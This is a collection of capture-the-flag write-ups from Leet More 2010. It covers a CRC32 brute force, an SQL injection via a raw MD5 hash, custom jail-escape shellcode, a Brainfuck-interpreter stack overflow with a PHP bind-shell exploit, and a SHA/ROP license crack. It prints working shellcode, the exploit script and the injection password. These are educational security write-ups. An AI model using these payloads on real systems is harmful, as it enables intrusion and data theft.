Password hint is only 5 bytes long, and we know its CRC32 checksum (AA61F95C). Math tells us there are a few possible 5-byte combinations that give this crc. Let’s bruteforce them.
I’m using MDCrack to do this, and i’ve experimented to find out that its CRC32-B algorithm is the same that WinRAR uses. We also need to reverse the byte order of crc.

> MDCrack-sse.exe --algorithm=CRC32-B --charset=%N%U%L%P \
                  --minsize=5 --maxsize=5 --all 5CF961AA

System / Starting MDCrack v1.8(3)
<...>
System / Thread #0: Collision found: C<->7
<...>
System / Thread #1: Collision found: ~-aVo
<...>
System / Thread #1: Collision found: _sq?#
<...>
System / Thread #0: Collision found: bb=W{

Long story short, “C<->7” is what we need (exchange Cs and 7s).
“VVoimlC0L7XC” + “C<->7” = “VVoiml70LCX7“, the answer.


More write-ups on “LameHackers”:

Leet More 2010 Oh Those Admins! writeup

Category: web-vuln?!

http://vos.uz/oh_those_admins/

http://vos.uz/oh_those_admins/index.php.txt

The php script takes a ‘password’ as input, calculates its raw (binary) md5, performs SQL query:

SELECT login FROM admins WHERE password = '$raw_md5'

and if it returns something, gives us full list of admins.

Raw md5 can contain any chars, and script puts them in query as is – it’s an sql injection vuln.
What we have to do is to bruteforce a password which’s raw md5 contains ‘or’1, so that the query looks like

SELECT login FROM admins WHERE password = '<trash>'or'1<shit>'

This will return all the rows, thanks to MySQL converting ‘1<shit>’ from string to int to bool true.

Math tells us there will be a usable hash every 256 ^ 5 / 11 = 99955602525 hashed passwords. With 5kk hashes per sec, you will get a solution in ~ 5.5 hours. That’s not so optimistic, so to speed up bruteforce, we can use different cases of ‘or’: ‘or’, ‘oR’, ‘Or’ and ‘OR’ + we can use its synonim ‘||’. Moreover, we can use all the 1..9 digits instead of just ‘1’. This gives us 45 times faster solution: a usable hash every 5 min.

I used a modified version of John to do the bruteforce, but even a php script will give you what you need in a reasonable time:

<?php 
for ($i = 0;;) { 
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

I’ve found a password: ffifdyop, with hash: 276f722736c95d99e921722cf9ed621c (‘or’6<trash>).
After logging in, we see the real admin’s password hash in binary: 00071cc0720abd73f61a291224f248d6

And, googling for it or again bruteforcing, we get the answer: 13376843.


More write-ups on “Oh Those Admins!”:

Leet More 2010 Jailbreak writeup

Category: CTB

A piece of code is currently up @ ctf.ifmo.ru:4004

BTW, here is what’s inside the jail:

vos@ms7:~/private_data$ ls -la
total 20K
d------r-x 2 alice alice 4.0K Aug 21 00:23 .
d------r-x 3 alice alice 4.0K Aug 21 00:29 ..
-------r-- 1 alice alice 9.0K Aug 21 00:23 key

Ok, we have this binary that chroot()’s itself into jail, setuid()’s to nobody, reads 128 bytes of our shellcode and jumps to it. Classic bindshell/reverseshell shellcodes don’t work because there is no /bin/sh inside jail. We need to write our own shellcode to do things on the server.

Writing custom shellcodes is really easy when you know how to use Linux syscalls.

First reasonable thing  to do is to fetch the ‘key’ file. Shellcode:

mov ebx, [ebp + 8]  ; open socket handle
enter 0x2800, 0
mov [ebp4], ebx
mov [ebp8], 0x0079656B  ; 'key '

; fd = sys_open("key", 0, 0)
mov eax, 5         ; sys_open
lea ebx, [ebp8] ; 'key '
xor ecx, ecx       ; flags = 0
xor edx, edx       ; mode = 0
int 0x80

; len = sys_read(fd, &buf, 0x2780)
mov ebx, eax     ; handle = sys_open return value
mov eax, 3       ; sys_read
mov ecx, [ebp0x27FC]  ; buf
mov edx, 0x2780
int 0x80

; sys_write(sock, &buf, len)
mov edx, eax       ; len = sys_read retval
mov eax, 4         ; sys_write
mov ebx, [ebp4] ; socket handle
lea ecx, [ebp0x27FC]
int 0x80

or in hexes:

\x8b\x5d\x08\xc8\x00\x28\x00\x89\x5d\xfc\xc7\x45\xf8\x6b\x65\x79
\x00\xb8\x05\x00\x00\x00\x8d\x5d\xf8\x31\xc9\x31\xd2\xcd\x80\x89
\xc3\xb8\x03\x00\x00\x00\x8d\x8d\x04\xd8\xff\xff\xba\x80\x27\x00
\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\x8b\x5d\xfc\x8d\x8d\x04
\xd8\xff\xff\xcd\x80

Let’s run it:

$ echo -ne "$SHELLCODE" | nc ctf.ifmo.ru 4004 > dump
$ xxd dump | head -3
0000000: 4769 7665 206d 6520 796f 7572 2066 7563  Give me your fuc
0000010: 6b69 6e67 2073 6865 6c6c 636f 6465 2e2e  king shellcode..
0000020: 2e0a 7f45 4c46 0101 0100 0000 0000 0000  ...ELF..........

‘key’ file is actually an ELF binary. Its source:

#include <stdio.h>
#include <string.h>

int main(int argc, char ** argv, char ** environ) {
  char crypted[22] = "\x16\x24\x28\x37\x65\x36\x3d\x65\x10\x0d\x17"
                     "\x7f\x36\x29\x75\x33\x33\x21\x26\x29\x6f";
  char *envvar;
  int i = 0, j;

  while (environ[i]) {
    if (!memcmp(environ[i], "JAILKEY=", 8)) {
      envvar = (environ[i]) + 8;
      for (j = 0; j < 21; j++)
        crypted[j] ^= envvar[j];
      printf("%s", crypted);
    }
    i++;
  }

  return 0;
}

(xors JAILKEY environment variable with hard-coded bytes and prints it out)
So our next goal is to retrieve JAILKEY envvar. Shellcode:

mov ebx, [ebp + 8]  ; socket
leave  ; leave to main() stackframe
mov ecx, [ebp + 0x20]  ; ecx = environ

mov eax, 4  ; sys_write
mov ecx, [ecx]  ; first env var
mov edx, 0x500
int 0x80

Hexes:

\xb8\x04\x00\x00\x00\x8b\x5d\x08\xc9\x8b\x4d\x20\x8b\x09\xba\x00
\x05\x00\x00\xcd\x80\xc3
$ echo -ne "$SHELLCODETWO" | nc ctf.ifmo.ru 4004 | grep JAILKEY
<...>JAILKEY=ALICE_NEEDS_YOUR_HELP<...>
$ env JAILKEY=ALICE_NEEDS_YOUR_HELP ./key
What is UID of alice?

We need to grab the user id of alice, who is the owner of our ‘key’ file. And there’s a shellcode for that:

mov ebx, [ebp + 8]
enter 0x80, 0
mov [ebp - 4], ebx
mov [ebp - 8], 0x0079656B  ; 'key '

mov eax, 0x6A  ; sys_newstat
lea ebx, [ebp - 8]
lea ecx, [ebp - 0x7C]  ; buf
int 0x80

mov eax, 4  ; sys_write
mov ebx, [ebp - 4]  ; sock
lea ecx, [ebp - 0x7C]
mov edx, 0x40
int 0x80

Hexes:

\x8b\x5d\x08\xc8\x80\x00\x00\x89\x5d\x84\xc7\x45\x88\x6b\x65\x79
\x00\xb8\x6a\x00\x00\x00\x8d\x5d\x88\x8d\x4d\x8c\xcd\x80\xb8\x04
\x00\x00\x00\x8b\x5d\x84\x8d\x4d\x8c\xba\x40\x00\x00\x00\xcd\x80
$ echo -ne "$SHELLCODELAST" | nc ctf.ifmo.ru 4004 | xxd
0000000: 4769 7665 206d 6520 796f 7572 2066 7563  Give me your fuc
0000010: 6b69 6e67 2073 6865 6c6c 636f 6465 2e2e  king shellcode..
0000020: 2e0a 0308 0000 6126 0000 0480 0100 ddb7  ......a&........
0000030: ddb7 0000 0000 0822 0000 0010 0000 1800  ......."........
0000040: 0000 c45e 824c 0000 0000 c45e 824c 0000  ...^.L.....^.L..
0000050: 0000 0b5f 824c 0000 0000 0000 0000 0000  ..._.L..........
0000060: 0000                                     ..

and 0xB7DD == 47069, the answer. Finally :)


More write-ups on “Jailbreak”:

Leet More 2010 brainfffuuuuu writeup

Category: CTB

This binary is running at ctf.ifmo.ru
Are you able to get the key?!

Let’s take a look at what the binary is doing (decompilation of its main function begin_the_fucking() will help us):

1. Prints out some prompt
2. Reads 30 bytes
3. Interprets them as Brainfuck code.

and here is what the stack of that func looks like:

From the disassembly, we see that interpreter doesn’t check the bounds for edi, and data memory is located on stack, so we probably can overwrite ret address and exec a shellcode. data_mem has enough space for our shellcode :)

The difficulties are the stack canary, which we can’t overwrite or the shellcode wont execute, and brainfuck code limit: we need to squeeze all the fucking in 30 bytes.
A useful brainfuck contruct here is ‘[>,]‘ – input a zero-terminated string into data. Let’s construct an exploit, considering what we have on the stack.

1. Bf code: +[>,]
Overwrite as much memory as we can.
It’s safe to overwrite all the data_mem with 4054 bytes of nopslide and a shellcode in the end. Next, we have code_mem – there we’ll just write brainfuck code that is already there. Next, int bf_eip is on our way. We can calculate its value in the moment or overwriting so that we wont ruin the code flow, but after writing the first byte, we will have to write \x00, and the string-writing loop will be over.

2. Bf code: >>>,
Skipping 3 remaining bf_eip bytes, we stop at the first byte of int bf_edi (offset 0x0FFC). Write \xFF there to move edi 3 bytes further and save 3 precious bytes of bf code :) After this, data_mem[edi] points to 4th byte of int code_len

3. Bf code: >>>>>>>>>
Skip the last byte of code_len, then skip int loop_depth and Stack Canary. Stack address is randomized with every connection, and we need to know where the shellcode is, so…

4. Bf code: .>.>.>.
Print out Saved EBP. It will contain the random part of stack address.

5. Bf code: [>,]
Finally overwrite the ret address. Disassembly tells us that Saved EBP – 0x1000 will point inside our nopslide, so that’s a good address to ret to.

Complete brainfuck payload:
+[>,]>>>,>>>>>>>>>.>.>.>.[>,]A (‘A’ is added for padding to 30 bytes)

And the code that implements all the exploit in PHP:

<?php
if (!isset($_SERVER['argv'][2]))
 exit("USAGE: sploit.php [target ip] [bindshell port]\n");

$s = fsockopen($_SERVER['argv'][1], 9999);
do {
 $oldc = $newc;
 $newc = fgetc($s);
} while ($oldc != '$' || $newc != ' ');

$bfcode = "+[>,]>>>,>>>>>>>>>.>.>.>.[>,]A";
             // bind shell on XXXX/tcp
$shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
           . "\x80\x5b\x5e\x52\x68\xff\x02" 
                         . pack("n", $_SERVER['argv'][2]) . 
                                               . "\x6a\x10\x51\x50\x89"
           . "\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd"
           . "\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49"
           . "\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
           . "\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
fwrite($s, $bfcode);
fwrite($s, str_repeat("A", 4053 - strlen($shellcode)));
fwrite($s, $shellcode);
fwrite($s, $bfcode);
fwrite($s, "\x03\x00");
fwrite($s, "\xFF");
$ebp = fgetc($s) . fgetc($s) . fgetc($s) . fgetc($s);
echo "read EBP: " . bin2hex($ebp) . "\n";
$ebp = unpack("Vebp", $ebp);
$ebp = $ebp['ebp'];
$ovreip = $ebp - 0x1000;
$ovreip = pack("V", $ovreip);
echo "ovr EIP: " . bin2hex($ovreip) . "\n";
fwrite($s, $ovreip . "\x00");

?>

Go go go!

> \php\php sploit.php ctf.ifmo.ru 3456
read EBP: 28a9fbbf
ovr EIP: 2899fbbf

> \temp\nc ctf.ifmo.ru 3456
id
uid=65534(nobody) gid=65534(nogroup)
ls -la
total 24
drwxr-x---  2 root nogroup 4096 Sep 20 22:49 .
drwx------ 30 root root    4096 Sep 20 22:49 ..
-rwx------  1 root root    9744 Sep 20 22:49 brainfffuuuuu
----r-----  1 root nogroup   56 Sep 20 22:49 key
cat key
Now_i_know_everything_from_brainfuck_to_buffer_overflows

More write-ups on “brainfffuuuuu”:

Leet More 2010 SHAdow dROP writeup

Category: reverse

Generate a license!
shadowdrop.exe

Lets start with examining the binary.

It installs a SEH handler with “bad guy” message,

pushes some binary trash on the stack,

opens “license.key“, and for each 5 bytes in reads from license, it calculates their SHA-1 and xors another 20 bytes on stack with hash binary.
After xoring all data in stack, just a ret follows – it jumps to the last pushed value xor first 4 bytes of first sha1 hash. Task name has reference to SHA and ROP, so we can suppose those pushed values are addresses of ROP gadgets xor’d with license.

Where are the ROP gadgets situated? Perhaps in this huge-ass random asm block in the middle of the app :)

The exe has image base of 13370000, so all the ROP addresses will be 1337xxxx. A good idea now is to dump the binary trash from stack. It’s done easily and here it is.

So now we have crypt text, partial plain text (\x37\x13 bytes) and key length (5 bytes). To clarify, let’s take first 20 bytes from binary trash:

CE37D44A1EDD38854EBBFC1769A11881855ED248

we know for sure that there might be a “3713” sequence in the plaintext on these positions:
****3713****3713****3713****3713****3713
of course not all the dwords will be 1337xxxx, because rop gadgets need parameters to be passed in the stack among rop addresses.
So let’s suppose we have 3713 on first (this we know for sure, it’s being ret to) and last dword:
****3713****************************3713
now we can xor our crypt text with that mask to get
****E359****************************E55B
And we need to get 5-byte sequence that’s sha-1 matches this mask.
sha1(“R0lGO”) == “3a21e3591edd38851aa0cb0442812f92dd45e55b

First 5 bytes of our license key is ‘R0lGO‘. Similarly, we can reconstruct the other (1340 / 20 * 5 – 5) = 330 bytes.
I used a modified version of John… ok, whom am i kidding? i had no idea whether this task is solvable till the first team has done it :)

The correct ROP sequence binary-patches the SEH handler to make it display this message instead of “license error”:

And the license file itself is a base64 string, which after unbase64ing gives us a GIF with the answer: